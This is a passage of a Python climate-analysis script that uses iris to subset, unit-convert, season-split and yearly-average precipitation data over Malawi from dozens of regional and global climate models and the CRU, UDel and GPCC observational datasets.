NCCSMHI=NCCSMHI.extract(Malawi)\r\n    NOAA=NOAA.extract(Malawi)\r\n    \r\n    CanESM2 = CanESM2.extract(Malawi)\r\n    CNRMG =CNRMG.extract(Malawi)\r\n    MK3 =MK3.extract(Malawi)\r\n    EARTH =EARTH.extract(Malawi)\r\n    EARTH3 =EARTH3.extract(Malawi)\r\n    GFDL=GFDL.extract(Malawi)\r\n    HadGEM2=HadGEM2.extract(Malawi)\r\n    IPSLG=IPSLG.extract(Malawi)\r\n    MIROCG=MIROCG.extract(Malawi)\r\n    MPI=MPI.extract(Malawi)\r\n    NorESM1=NorESM1.extract(Malawi)\r\n    \r\n    CRU = CRU.extract(Malawi)\r\n    UDel = UDel.extract(Malawi)\r\n    GPCC = GPCC.extract(Malawi)\r\n    \r\n    #time constraignt to make all series the same, for ERAINT this is 1990-2008 and for RCMs and GCMs this is 1961-2005\r\n    iris.FUTURE.cell_datetime_objects = True\r\n    t_constraint_ERAINT = iris.Constraint(time=lambda cell: 1990 <= cell.point.year <= 2008)\r\n   \r\n    CCCma = CCCma.extract(t_constraint_ERAINT)\r\n    CLMcom =CLMcom.extract(t_constraint_ERAINT)\r\n    DMI=DMI.extract(t_constraint_ERAINT)\r\n    KNMI=KNMI.extract(t_constraint_ERAINT)\r\n    MPIE=MPIE.extract(t_constraint_ERAINT)\r\n    SMHI=SMHI.extract(t_constraint_ERAINT)\r\n    CRUE = CRU.extract(t_constraint_ERAINT)\r\n    UDelE = UDel.extract(t_constraint_ERAINT)\r\n    GPCCE = GPCC.extract(t_constraint_ERAINT)\r\n    \r\n    t_constraint = iris.Constraint(time=lambda cell: 1961 <= cell.point.year <= 2005)\r\n    \r\n    CCCmaCanRCM = CCCmaCanRCM.extract(t_constraint)\r\n    CCCmaSMHI = CCCmaSMHI.extract(t_constraint)\r\n    CNRM =CNRM.extract(t_constraint)\r\n    CNRMSMHI =CNRMSMHI.extract(t_constraint)\r\n    CSIRO=CSIRO.extract(t_constraint)\r\n    ICHECDMI=ICHECDMI.extract(t_constraint)\r\n    ICHECCCLM=ICHECCCLM.extract(t_constraint)\r\n    ICHECKNMI=ICHECKNMI.extract(t_constraint)\r\n    ICHECMPI=ICHECMPI.extract(t_constraint)\r\n    ICHECSMHI=ICHECSMHI.extract(t_constraint)\r\n    IPSL=IPSL.extract(t_constraint)\r\n    MIROC=MIROC.extract(t_constraint)\r\n    MOHCCCLM=MOHCCCLM.extract(t_constraint)\r\n    MOHCKNMI=MOHCKNMI.extract(t_constraint)\r\n    MOHCSMHI=MOHCSMHI.extract(t_constraint)\r\n    MPICCLM=MPICCLM.extract(t_constraint)\r\n    MPIREMO=MPIREMO.extract(t_constraint)\r\n    MPISMHI=MPISMHI.extract(t_constraint)\r\n    NCCDMI=NCCDMI.extract(t_constraint)\r\n    NCCSMHI=NCCSMHI.extract(t_constraint)\r\n    NOAA=NOAA.extract(t_constraint) \r\n    \r\n    CanESM2 = CanESM2.extract(t_constraint)\r\n    CNRMG =CNRMG.extract(t_constraint)\r\n    MK3 =MK3.extract(t_constraint)\r\n    EARTH =EARTH.extract(t_constraint)\r\n    EARTH3 =EARTH3.extract(t_constraint)\r\n    GFDL=GFDL.extract(t_constraint)\r\n    HadGEM2=HadGEM2.extract(t_constraint)\r\n    IPSLG=IPSLG.extract(t_constraint)\r\n    MIROCG=MIROCG.extract(t_constraint)\r\n    MPI=MPI.extract(t_constraint)\r\n    NorESM1=NorESM1.extract(t_constraint)\r\n    \r\n    CRU = CRU.extract(t_constraint)\r\n    UDel = UDel.extract(t_constraint)\r\n    GPCC = GPCC.extract(t_constraint)\r\n    \r\n    #Convert units to match, CORDEX data in precipitation_flux (kg m-2 s-1) but want all data in precipitation rate (mm year-1).\r\n    #Since 1 kg of rain spread over 1 m of surface is 1mm in thickness, and there are 60*60*24*365.25=31557600 seconds in a year, the conversion is: \r\n    Convert=31557600\r\n    CCCma = CCCma*Convert\r\n    CLMcom=CLMcom*Convert\r\n    DMI=DMI*Convert\r\n    KNMI=KNMI*Convert\r\n    MPIE=MPIE*Convert\r\n    SMHI=SMHI*Convert\r\n    \r\n    CCCmaCanRCM = CCCmaCanRCM*Convert\r\n    CCCmaSMHI = CCCmaSMHI*Convert\r\n    CNRM = CNRM*Convert\r\n    CNRMSMHI = CNRMSMHI*Convert \r\n    CSIRO = CSIRO*Convert\r\n    ICHECDMI = ICHECDMI*Convert\r\n    ICHECCCLM = ICHECCCLM*Convert\r\n    ICHECKNMI = ICHECKNMI*Convert\r\n    ICHECMPI = ICHECMPI*Convert\r\n    ICHECSMHI = ICHECSMHI*Convert\r\n    IPSL = IPSL*Convert\r\n    MIROC = MIROC*Convert\r\n    MOHCCCLM = MOHCCCLM*Convert\r\n    MOHCKNMI = MOHCKNMI*Convert\r\n    MOHCSMHI = MOHCSMHI*Convert\r\n    MPICCLM = MPICCLM*Convert\r\n    MPIREMO = MPIREMO*Convert\r\n    MPISMHI = MPISMHI*Convert\r\n    NCCDMI = NCCDMI*Convert\r\n    NCCSMHI = NCCSMHI*Convert\r\n    NOAA = NOAA*Convert\r\n    \r\n    CanESM2 = CanESM2*Convert\r\n    CNRMG = CNRMG*Convert\r\n    MK3=MK3*Convert\r\n    EARTH=EARTH*Convert\r\n    EARTH3=EARTH3*Convert\r\n    GFDL=GFDL*Convert\r\n    HadGEM2=HadGEM2*Convert\r\n    IPSLG = IPSLG*Convert\r\n    MIROCG = MIROCG*Convert\r\n    MPI=MPI*Convert\r\n    NorESM1=NorESM1*Convert \r\n    \r\n    #Convert units to match, CRU and GPCC data is in mm per month but want precipitation rate in mm per year.\r\n    #Since there are 12 months in the year, the conversion is:\r\n    Convert=12\r\n    CRU = CRU*Convert\r\n    CRUE = CRUE*Convert\r\n    GPCC = GPCC*Convert\r\n    GPCCE = GPCCE*Convert\r\n           \r\n    #Convert units to match, UDel data in cm per month but want precipitation rate in mm per year.\r\n    #Since there are 12 months in the year and 10mm in a cm, the conversion is:\r\n    Convert=12*10\r\n    UDel = UDel*Convert\r\n    UDelE = UDelE*Convert \r\n    \r\n    #limit to a season\r\n    SON = iris.Constraint(season='son')\r\n    DJF = iris.Constraint(season='djf')\r\n    MAM = iris.Constraint(season='mam')\r\n    JJA = iris.Constraint(season='jja')\r\n    \r\n    #add season data to files\r\n    iriscc.add_season(CCCma, 'time')\r\n    iriscc.add_season(CLMcom, 'time')\r\n    iriscc.add_season(DMI, 'time')\r\n    iriscc.add_season(KNMI, 'time')\r\n    iriscc.add_season(MPIE, 'time')\r\n    iriscc.add_season(SMHI, 'time')\r\n        \r\n    iriscc.add_season(CCCmaCanRCM, 'time')\r\n    iriscc.add_season(CCCmaSMHI, 'time')\r\n    iriscc.add_season(CNRM, 'time')\r\n    iriscc.add_season(CNRMSMHI, 'time')\r\n    iriscc.add_season(CSIRO, 'time')\r\n    iriscc.add_season(ICHECDMI, 'time')\r\n    iriscc.add_season(ICHECCCLM, 'time')\r\n    iriscc.add_season(ICHECKNMI, 'time')\r\n    iriscc.add_season(ICHECMPI, 'time')\r\n    iriscc.add_season(ICHECSMHI, 'time')\r\n    iriscc.add_season(IPSL, 'time')\r\n    iriscc.add_season(MIROC, 'time')\r\n    iriscc.add_season(MOHCCCLM, 'time')\r\n    iriscc.add_season(MOHCKNMI, 'time')\r\n    iriscc.add_season(MOHCSMHI, 'time')\r\n    iriscc.add_season(MPICCLM, 'time')\r\n    iriscc.add_season(MPIREMO, 'time')\r\n    iriscc.add_season(MPISMHI, 'time')\r\n    iriscc.add_season(NCCDMI, 'time')\r\n    iriscc.add_season(NCCSMHI, 'time')\r\n    iriscc.add_season(NOAA, 'time')\r\n    \r\n    iriscc.add_season(CanESM2, 'time')\r\n    iriscc.add_season(CNRMG, 'time')\r\n    iriscc.add_season(MK3, 'time')\r\n    iriscc.add_season(EARTH, 'time')\r\n    iriscc.add_season(EARTH3, 'time')\r\n    iriscc.add_season(GFDL, 'time')\r\n    iriscc.add_season(HadGEM2, 'time')\r\n    iriscc.add_season(IPSLG, 'time')\r\n    iriscc.add_season(MIROCG, 'time')\r\n    iriscc.add_season(MPI, 'time')\r\n    iriscc.add_season(NorESM1, 'time')\r\n    \r\n    iriscc.add_season(CRUE, 'time')\r\n    iriscc.add_season(CRU, 'time')\r\n    iriscc.add_season(UDelE, 'time')\r\n    iriscc.add_season(UDel, 'time')\r\n    iriscc.add_season(GPCCE, 'time')\r\n    iriscc.add_season(GPCC, 'time')\r\n    \r\n    #add year data to files\r\n    iriscc.add_year(CCCma, 'time')\r\n    iriscc.add_year(CLMcom, 'time')\r\n    iriscc.add_year(DMI, 'time')\r\n    iriscc.add_year(KNMI, 'time')\r\n    iriscc.add_year(MPIE, 'time')\r\n    iriscc.add_year(SMHI, 'time')\r\n        \r\n    iriscc.add_year(CCCmaCanRCM, 'time')\r\n    iriscc.add_year(CCCmaSMHI, 'time')\r\n    iriscc.add_year(CNRM, 'time')\r\n    iriscc.add_year(CNRMSMHI, 'time')\r\n    iriscc.add_year(CSIRO, 'time')\r\n    iriscc.add_year(ICHECDMI, 'time')\r\n    iriscc.add_year(ICHECCCLM, 'time')\r\n    iriscc.add_year(ICHECKNMI, 'time')\r\n    iriscc.add_year(ICHECMPI, 'time')\r\n    iriscc.add_year(ICHECSMHI, 'time')\r\n    iriscc.add_year(IPSL, 'time')\r\n    iriscc.add_year(MIROC, 'time')\r\n    iriscc.add_year(MOHCCCLM, 'time')\r\n    iriscc.add_year(MOHCKNMI, 'time')\r\n    iriscc.add_year(MOHCSMHI, 'time')\r\n    iriscc.add_year(MPICCLM, 'time')\r\n    iriscc.add_year(MPIREMO, 'time')\r\n    iriscc.add_year(MPISMHI, 'time')\r\n    iriscc.add_year(NCCDMI, 'time')\r\n    iriscc.add_year(NCCSMHI, 'time')\r\n    iriscc.add_year(NOAA, 'time')\r\n    \r\n    iriscc.add_year(CanESM2, 'time')\r\n    iriscc.add_year(CNRMG, 'time')\r\n    iriscc.add_year(MK3, 'time')\r\n    iriscc.add_year(EARTH, 'time')\r\n    iriscc.add_year(EARTH3, 'time')\r\n    iriscc.add_year(GFDL, 'time')\r\n    iriscc.add_year(HadGEM2, 'time')\r\n    iriscc.add_year(IPSLG, 'time')\r\n    iriscc.add_year(MIROCG, 'time')\r\n    iriscc.add_year(MPI, 'time')\r\n    iriscc.add_year(NorESM1, 'time')\r\n    \r\n    iriscc.add_year(CRUE, 'time')\r\n    iriscc.add_year(CRU, 'time')\r\n    iriscc.add_year(UDelE, 'time')\r\n    iriscc.add_year(UDel, 'time')\r\n    iriscc.add_year(GPCCE, 'time')\r\n    iriscc.add_year(GPCC, 'time')\r\n    \r\n    #extract only the season we are interested in\r\n    CCCmaSON = CCCma.extract(SON) \r\n    CLMcomSON = CLMcom.extract(SON) \r\n    DMISON=DMI.extract(SON) \r\n    KNMISON=KNMI.extract(SON) \r\n    MPIESON=MPIE.extract(SON) \r\n    SMHISON = SMHI.extract(SON) \r\n    \r\n    CCCmaCanRCMSON = CCCmaCanRCM.extract(SON) \r\n    CCCmaSMHISON = CCCmaSMHI.extract(SON) \r\n    CNRMSON = CNRM.extract(SON) \r\n    CNRMSMHISON = CNRMSMHI.extract(SON) \r\n    CSIROSON = CSIRO.extract(SON) \r\n    ICHECDMISON = ICHECDMI.extract(SON) \r\n    ICHECCCLMSON = ICHECCCLM.extract(SON) \r\n    ICHECKNMISON = ICHECKNMI.extract(SON) \r\n    ICHECMPISON = ICHECMPI.extract(SON) \r\n    ICHECSMHISON = ICHECSMHI.extract(SON) \r\n    IPSLSON = IPSL.extract(SON) \r\n    MIROCSON = MIROC.extract(SON) \r\n    MOHCCCLMSON = MOHCCCLM.extract(SON) \r\n    MOHCKNMISON = MOHCKNMI.extract(SON) \r\n    MOHCSMHISON = MOHCSMHI.extract(SON) \r\n    MPICCLMSON = MPICCLM.extract(SON) \r\n    MPIREMOSON = MPIREMO.extract(SON) \r\n    MPISMHISON = MPISMHI.extract(SON) \r\n    NCCDMISON = NCCDMI.extract(SON) \r\n    NCCSMHISON = NCCSMHI.extract(SON) \r\n    NOAASON = NOAA.extract(SON) \r\n    \r\n    CanESM2SON = CanESM2.extract(SON) \r\n    CNRMGSON = CNRMG.extract(SON) \r\n    MK3SON = MK3.extract(SON) \r\n    EARTHSON = EARTH.extract(SON) \r\n    EARTH3SON = EARTH3.extract(SON) \r\n    GFDLSON = GFDL.extract(SON) \r\n    HadGEM2SON = HadGEM2.extract(SON)  \r\n    IPSLGSON = IPSLG.extract(SON) \r\n    MIROCGSON = MIROCG.extract(SON) \r\n    MPISON = MPI.extract(SON) \r\n    NorESM1SON = NorESM1.extract(SON) \r\n    NorESM1SON = NorESM1.extract(SON)\r\n    \r\n    CRUESON = CRUE.extract(SON)\r\n    UDelESON = UDelE.extract(SON)\r\n    GPCCESON = GPCCE.extract(SON)\r\n    CRUSON = CRU.extract(SON)\r\n    UDelSON = UDel.extract(SON)\r\n    GPCCSON = GPCC.extract (SON)\r\n        \r\n    CCCmaDJF = CCCma.extract(DJF)\r\n    CLMcomDJF=CLMcom.extract(DJF) \r\n    DMIDJF=DMI.extract(DJF) \r\n    KNMIDJF=KNMI.extract(DJF) \r\n    MPIEDJF=MPIE.extract(DJF) \r\n    SMHIDJF=SMHI.extract(DJF) \r\n    \r\n    CCCmaCanRCMDJF = CCCmaCanRCM.extract(DJF) \r\n    CCCmaSMHIDJF = CCCmaSMHI.extract(DJF) \r\n    CNRMDJF = CNRM.extract(DJF) \r\n    CNRMSMHIDJF = CNRMSMHI.extract(DJF) \r\n    CSIRODJF = CSIRO.extract(DJF) \r\n    ICHECDMIDJF = ICHECDMI.extract(DJF) \r\n    ICHECCCLMDJF = ICHECCCLM.extract(DJF) \r\n    ICHECKNMIDJF = ICHECKNMI.extract(DJF) \r\n    ICHECMPIDJF = ICHECMPI.extract(DJF) \r\n    ICHECSMHIDJF = ICHECSMHI.extract(DJF) \r\n    IPSLDJF = IPSL.extract(DJF) \r\n    MIROCDJF = MIROC.extract(DJF) \r\n    MOHCCCLMDJF = MOHCCCLM.extract(DJF) \r\n    MOHCKNMIDJF = MOHCKNMI.extract(DJF) \r\n    MOHCSMHIDJF = MOHCSMHI.extract(DJF) \r\n    MPICCLMDJF = MPICCLM.extract(DJF) \r\n    MPIREMODJF = MPIREMO.extract(DJF) \r\n    MPISMHIDJF = MPISMHI.extract(DJF) \r\n    NCCDMIDJF = NCCDMI.extract(DJF) \r\n    NCCSMHIDJF = NCCSMHI.extract(DJF) \r\n    NOAADJF = NOAA.extract(DJF) \r\n    \r\n    CanESM2DJF = CanESM2.extract(DJF) \r\n    CNRMGDJF = CNRMG.extract(DJF) \r\n    MK3DJF = MK3.extract(DJF) \r\n    EARTHDJF = EARTH.extract(DJF) \r\n    EARTH3DJF = EARTH3.extract(DJF) \r\n    GFDLDJF = GFDL.extract(DJF) \r\n    HadGEM2DJF = HadGEM2.extract(DJF)  \r\n    IPSLGDJF = IPSLG.extract(DJF) \r\n    MIROCGDJF = MIROCG.extract(DJF)  \r\n    MPIDJF = MPI.extract(DJF) \r\n    NorESM1DJF = NorESM1.extract(DJF)\r\n    \r\n    CRUEDJF = CRUE.extract(DJF)\r\n    UDelEDJF = UDelE.extract(DJF)\r\n    GPCCEDJF = GPCCE.extract(DJF)\r\n    CRUDJF = CRU.extract(DJF)\r\n    UDelDJF = UDel.extract(DJF)\r\n    GPCCDJF = GPCC.extract(DJF)\r\n      \r\n    CCCmaMAM = CCCma.extract(MAM) \r\n    CLMcomMAM=CLMcom.extract(MAM) \r\n    DMIMAM=DMI.extract(MAM) \r\n    KNMIMAM=KNMI.extract(MAM) \r\n    MPIEMAM=MPIE.extract(MAM) \r\n    SMHIMAM=SMHI.extract(MAM) \r\n    \r\n    CCCmaCanRCMMAM = CCCmaCanRCM.extract(MAM) \r\n    CCCmaSMHIMAM = CCCmaSMHI.extract(MAM) \r\n    CNRMMAM = CNRM.extract(MAM) \r\n    CNRMSMHIMAM = CNRMSMHI.extract(MAM) \r\n    CSIROMAM = CSIRO.extract(MAM) \r\n    ICHECDMIMAM = ICHECDMI.extract(MAM) \r\n    ICHECCCLMMAM = ICHECCCLM.extract(MAM) \r\n    ICHECKNMIMAM = ICHECKNMI.extract(MAM) \r\n    ICHECMPIMAM = ICHECMPI.extract(MAM) \r\n    ICHECSMHIMAM = ICHECSMHI.extract(MAM) \r\n    IPSLMAM = IPSL.extract(MAM) \r\n    MIROCMAM = MIROC.extract(MAM) \r\n    MOHCCCLMMAM = MOHCCCLM.extract(MAM) \r\n    MOHCKNMIMAM = MOHCKNMI.extract(MAM) \r\n    MOHCSMHIMAM = MOHCSMHI.extract(MAM) \r\n    MPICCLMMAM = MPICCLM.extract(MAM) \r\n    MPIREMOMAM = MPIREMO.extract(MAM) \r\n    MPISMHIMAM = MPISMHI.extract(MAM) \r\n    NCCDMIMAM = NCCDMI.extract(MAM) \r\n    NCCSMHIMAM = NCCSMHI.extract(MAM) \r\n    NOAAMAM = NOAA.extract(MAM) \r\n    \r\n    CanESM2MAM = CanESM2.extract(MAM) \r\n    CNRMGMAM = CNRMG.extract(MAM) \r\n    MK3MAM = MK3.extract(MAM) \r\n    EARTHMAM = EARTH.extract(MAM)\r\n    EARTH3MAM = EARTH3.extract(MAM)\r\n    GFDLMAM = GFDL.extract(MAM) \r\n    HadGEM2MAM = HadGEM2.extract(MAM) \r\n    IPSLGMAM = IPSLG.extract(MAM) \r\n    MIROCGMAM = MIROCG.extract(MAM)  \r\n    MPIMAM = MPI.extract(MAM) \r\n    NorESM1MAM = NorESM1.extract(MAM)\r\n    \r\n    CRUEMAM = CRUE.extract(MAM)\r\n    UDelEMAM = UDelE.extract(MAM)\r\n    GPCCEMAM = GPCCE.extract(MAM)\r\n    CRUMAM = CRU.extract(MAM)\r\n    UDelMAM = UDel.extract(MAM)\r\n    GPCCMAM = GPCC.extract(MAM)\r\n          \r\n    CCCmaJJA = CCCma.extract(JJA)\r\n    CLMcomJJA=CLMcom.extract(JJA) \r\n    DMIJJA=DMI.extract(JJA) \r\n    KNMIJJA=KNMI.extract(JJA) \r\n    MPIEJJA=MPIE.extract(JJA) \r\n    SMHIJJA=SMHI.extract(JJA) \r\n    \r\n    CCCmaCanRCMJJA = CCCmaCanRCM.extract(JJA) \r\n    CCCmaSMHIJJA = CCCmaSMHI.extract(JJA) \r\n    CNRMJJA = CNRM.extract(JJA) \r\n    CNRMSMHIJJA = CNRMSMHI.extract(JJA) \r\n    CSIROJJA = CSIRO.extract(JJA) \r\n    ICHECDMIJJA = ICHECDMI.extract(JJA) \r\n    ICHECCCLMJJA = ICHECCCLM.extract(JJA) \r\n    ICHECKNMIJJA = ICHECKNMI.extract(JJA) \r\n    ICHECMPIJJA = ICHECMPI.extract(JJA) \r\n    ICHECSMHIJJA = ICHECSMHI.extract(JJA) \r\n    IPSLJJA = IPSL.extract(JJA) \r\n    MIROCJJA = MIROC.extract(JJA) \r\n    MOHCCCLMJJA = MOHCCCLM.extract(JJA) \r\n    MOHCKNMIJJA = MOHCKNMI.extract(JJA) \r\n    MOHCSMHIJJA = MOHCSMHI.extract(JJA) \r\n    MPICCLMJJA = MPICCLM.extract(JJA) \r\n    MPIREMOJJA = MPIREMO.extract(JJA) \r\n    MPISMHIJJA = MPISMHI.extract(JJA) \r\n    NCCDMIJJA = NCCDMI.extract(JJA) \r\n    NCCSMHIJJA = NCCSMHI.extract(JJA) \r\n    NOAAJJA = NOAA.extract(JJA) \r\n    \r\n    CanESM2JJA = CanESM2.extract(JJA) \r\n    CNRMGJJA = CNRMG.extract(JJA) \r\n    MK3JJA = MK3.extract(JJA) \r\n    EARTHJJA = EARTH.extract(JJA) \r\n    EARTH3JJA = EARTH3.extract(JJA) \r\n    GFDLJJA = GFDL.extract(JJA) \r\n    HadGEM2JJA = HadGEM2.extract(JJA) \r\n    IPSLGJJA = IPSLG.extract(JJA) \r\n    MIROCGJJA = MIROCG.extract(JJA)  \r\n    MPIJJA = MPI.extract(JJA) \r\n    NorESM1JJA = NorESM1.extract(JJA)\r\n    \r\n    CRUEJJA = CRUE.extract(JJA)\r\n    UDelEJJA = UDelE.extract(JJA)\r\n    GPCCEJJA = GPCCE.extract(JJA)\r\n    CRUJJA = CRU.extract(JJA)\r\n    UDelJJA = UDel.extract(JJA)\r\n    GPCCJJA = GPCC.extract(JJA)\r\n    \r\n    #We are interested in plotting the data by year, so we need to take a mean of all the data by year\r\n    CCCmaSON = CCCmaSON.aggregated_by('year', iris.analysis.MEAN)\r\n    CLMcomSON = CLMcomSON.aggregated_by('year', iris.analysis.MEAN)    \r\n    DMISON = DMISON.aggregated_by('year', iris.analysis.MEAN)    \r\n    KNMISON = KNMISON.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIESON = MPIESON.aggregated_by('year', iris.analysis.MEAN)    \r\n    SMHISON = SMHISON.aggregated_by('year', iris.analysis.MEAN)    \r\n    \r\n    CCCmaCanRCMSON = CCCmaCanRCMSON.aggregated_by('year', iris.analysis.MEAN)\r\n    CCCmaSMHISON = CCCmaSMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSON = CNRMSON.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSMHISON = CNRMSMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    CSIROSON = CSIROSON.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECDMISON = ICHECDMISON.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECCCLMSON = ICHECCCLMSON.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECKNMISON = ICHECKNMISON.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECMPISON = ICHECMPISON.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECSMHISON = ICHECSMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLSON = IPSLSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCSON = MIROCSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCCCLMSON = MOHCCCLMSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCKNMISON = MOHCKNMISON.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCSMHISON = MOHCSMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    MPICCLMSON = MPICCLMSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIREMOSON = MPIREMOSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISMHISON = MPISMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCDMISON = NCCDMISON.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCSMHISON = NCCSMHISON.aggregated_by('year', iris.analysis.MEAN)\r\n    NOAASON = NOAASON.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    CanESM2SON = CanESM2SON.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMGSON = CNRMGSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MK3SON = MK3SON.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTHSON = EARTHSON.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTH3SON = EARTH3SON.aggregated_by('year', iris.analysis.MEAN)\r\n    GFDLSON = GFDLSON.aggregated_by('year', iris.analysis.MEAN)\r\n    HadGEM2SON = HadGEM2SON.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLGSON = IPSLGSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCGSON = MIROCGSON.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISON = MPISON.aggregated_by('year', iris.analysis.MEAN)\r\n    NorESM1SON = NorESM1SON.aggregated_by('year', iris.analysis.MEAN)   \r\n    \r\n    CRUESON = CRUESON.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelESON = UDelESON.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCESON = GPCCESON.aggregated_by('year', iris.analysis.MEAN)\r\n    CRUSON = CRUSON.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelSON = UDelSON.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCSON = GPCCSON.aggregated_by('year', iris.analysis.MEAN)\r\n        \r\n    CCCmaDJF = CCCmaDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CLMcomDJF = CLMcomDJF.aggregated_by('year', iris.analysis.MEAN)    \r\n    DMIDJF = DMIDJF.aggregated_by('year', iris.analysis.MEAN)    \r\n    KNMIDJF = KNMIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIEDJF = MPIEDJF.aggregated_by('year', iris.analysis.MEAN)    \r\n    SMHIDJF = SMHIDJF.aggregated_by('year', iris.analysis.MEAN)    \r\n    \r\n    CCCmaCanRCMDJF = CCCmaCanRCMDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CCCmaSMHIDJF = CCCmaSMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMDJF = CNRMDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSMHIDJF = CNRMSMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CSIRODJF = CSIRODJF.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECDMIDJF = ICHECDMIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECCCLMDJF = ICHECCCLMDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECKNMIDJF = ICHECKNMIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECMPIDJF = ICHECMPIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECSMHIDJF = ICHECSMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLDJF = IPSLDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCDJF = MIROCDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCCCLMDJF = MOHCCCLMDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCKNMIDJF = MOHCKNMIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MOHCSMHIDJF = MOHCSMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MPICCLMDJF = MPICCLMDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIREMODJF = MPIREMODJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MPISMHIDJF = MPISMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCDMIDJF = NCCDMIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    NCCSMHIDJF = NCCSMHIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    NOAADJF = NOAADJF.aggregated_by('year', iris.analysis.MEAN)\r\n    \r\n    CanESM2DJF = CanESM2DJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMGDJF = CNRMGDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MK3DJF = MK3DJF.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTHDJF = EARTHDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    EARTH3DJF = EARTH3DJF.aggregated_by('year', iris.analysis.MEAN)\r\n    GFDLDJF = GFDLDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    HadGEM2DJF = HadGEM2DJF.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLGDJF = IPSLGDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCGDJF = MIROCGDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIDJF = MPIDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    NorESM1DJF = NorESM1DJF.aggregated_by('year', iris.analysis.MEAN)      \r\n    \r\n    CRUEDJF = CRUEDJF.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelEDJF = UDelEDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCEDJF = GPCCEDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    CRUDJF = CRUDJF.aggregated_by('year', iris.analysis.MEAN)  \r\n    UDelDJF = UDelDJF.aggregated_by('year', iris.analysis.MEAN)\r\n    GPCCDJF = GPCCDJF.aggregated_by('year', iris.analysis.MEAN)\r\n        \r\n    CCCmaMAM = CCCmaMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CLMcomMAM = CLMcomMAM.aggregated_by('year', iris.analysis.MEAN)    \r\n    DMIMAM = DMIMAM.aggregated_by('year', iris.analysis.MEAN)    \r\n    KNMIMAM = KNMIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MPIEMAM = MPIEMAM.aggregated_by('year', iris.analysis.MEAN)    \r\n    SMHIMAM = SMHIMAM.aggregated_by('year', iris.analysis.MEAN)    \r\n    \r\n    CCCmaCanRCMMAM = CCCmaCanRCMMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CCCmaSMHIMAM = CCCmaSMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMMAM = CNRMMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CNRMSMHIMAM = CNRMSMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    CSIROMAM = CSIROMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECDMIMAM = ICHECDMIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECCCLMMAM = ICHECCCLMMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECKNMIMAM = ICHECKNMIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECMPIMAM = ICHECMPIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    ICHECSMHIMAM = ICHECSMHIMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    IPSLMAM = IPSLMAM.aggregated_by('year', iris.analysis.MEAN)\r\n    MIROCMAM = 